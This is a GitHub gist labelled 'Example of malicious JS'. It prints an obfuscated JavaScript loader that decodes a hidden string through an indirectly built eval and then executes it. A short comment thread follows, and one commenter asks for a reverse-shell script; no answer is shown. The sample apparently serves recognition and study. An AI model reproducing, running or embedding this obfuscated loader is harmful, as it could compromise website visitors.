Skip to content

Instantly share code, notes, and snippets.

@natecavanaugh
Created February 14, 2013 21:53
Show Gist options
  • Save natecavanaugh/4956740 to your computer and use it in GitHub Desktop.
Save natecavanaugh/4956740 to your computer and use it in GitHub Desktop.
Example of malicious JS
date=new Date();var ar="Jp}g3ra]A\"kmTdQh{,'=Dyi)cf>1(0o[F<BnCs? e.wvlu:HGtNb; /EM";try{gserkewg();}catch(a){k=new Boolean().toString()};var ar2="f159,0,-93,9,42,-33,-45,51,-18,63,-102,87,-15,42,-24,-114,111,27,18,-33,-12,-87,87,-15,42, -36,-9,-39,-27,-18,-9,141,-132,15,87,-36,-30,99,-63,-51,24,-9,15,24,-6,-66,48,-21,111,0,0,-93,9, -60,3,15,87,-105,69,-15,87,3,0,-153,111,3,12,-21,9,-3,-69,111,0,0,-120,51,-18,63,-102,87,-15,42, -24,3,-111,51,81,-27,-36,-57,72,-33,9,-60,3,15,87,-3,-6,-96,57,-15,-3,-9,102,0,-144,135,24,0,-153, 3,99,9,-105,114,-63,6,48,3,-108,120,27,-96,39,18,-120,42,-42,111,-96,39,-15,0,-12,66,6,24,-84, 123,-141,0,0,36,42,-93,15,120,21,-135,42,-72,102,-60,30,93,-141,18,0,99,-81,-18,-18,144,-144, -15,48,0,-3,63,9,-60,-27,108,-102,12,-3,27,6,-33,63,-72,75,-54,-57,36,102,-90,-3,27,6,-33,63,-6, 36,-84,69,-12,-63,-3,75,-63,45,-45,87,-87,66,-66,81,-84,75,-93,21,-27,0,81,-15,51,-153,87,21,-45, 81,-81,24,15,33,-120,135,-42,-21,42,3,12,-27,36,-24,-12,-45,72,-9,-51,69,-9,-57,-87,135,-51,69, -102,24,21,63,-96,9,-60,3,15,87,-42,-51,42,87,3,0,-153,153,0,-84,60,-30,-33,75,-81,24,15,12,-51, 9,-60,3,15,87,-105,69,-15,-21,111,0,0,-30,-111,-3,102,-42,42,-60,60,-78,51,-18,63,-102,87,-15, 42,-24,-51,-57,105,-102,129,-27,45,-33,-12,-87,87,-15,42,-63,-30,12,9,-60,3,15,87,-66,15,87, -81,48,-12,9,27,-123,123,0,-132,51,87,-18,12,-27,-36,-30,57,-96,57,-18,-3,3,-9,102,0,-144,135, 24,0,-153,3,99,9,-105,114,-63,6,48,3,-108,120,27,-96,39,18,-120,42,-42,111,-96,39,-15,0,-12,66, 6,24,-84,123,-141,0,0,36,42,-93,15,120,21,-135,42,-72,102,-60,30,93,-141,18,0,99,-81,-18,-18, 144,-144,-15,48,0,-3,15,87,-81,48,-12,36,-84,69,-12,3,6,-63,45,-45,87,-87,66,-66,81,-84,-6,-3, -9,21,-27,0,81,-15,-51,102,-81,48,-12,36,-84,69,-12,3,-120,87,21,-45,81,-81,24,15,-48,-3,-36, 135,-42,-21,42,3,12,-27,-66,102,-81,48,-12,36,-84,69,-12,3,9,-12,-45,72,-90,-3,33,-33,102,-81, 48,-12,36,-84,69,-12,3,24,-57,-87,54,-3,33,-33,102,-81,48,-12,9,27,-123,123,0,-132,51,87,-18, 12,-27,-36,-30,72,-60,-27,108,-102,9,-3,3,27,6,-33,15,87,-81,48,-12,9,27,-123,123,0,-132,51,87, -18,12,-27,-36,-30,-9,75,-54,-57,36,102,-93,-3,3,27,6,-33,15,87,3,0,0,-120,51,-18,63,-102,87, -15,42,-24,-114,111,27,18,-33,-12,-87,87,-15,42,-36,-9,-39,-27,-18,-9,141,-132,15,87,-36,-30, 99,-63,-51,24,-9,15,24,-6,-66,102,-105,-15,0,117,-15,-66,69,-63,21,66,-93,45,-9,-6,87,3, 0,-153]".replace(k.substr(0,1),'[');pau="rn ev2010".replace(date.getFullYear()-1,"al");e=new Function("","retu"+pau);e=e();ar2=e(ar2);s="";var pos=0;for(i=0;i<ar2.length;i++){pos+=parseInt(k.replace("false","0asd"))+ar2[i]/3;s+=ar.substr(pos,1);}e(s);
@ChillVibesMushroom
Copy link

It is indeed malicious 😄

Why does this script do and I was wondering what script I can use to get a reverse shell

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment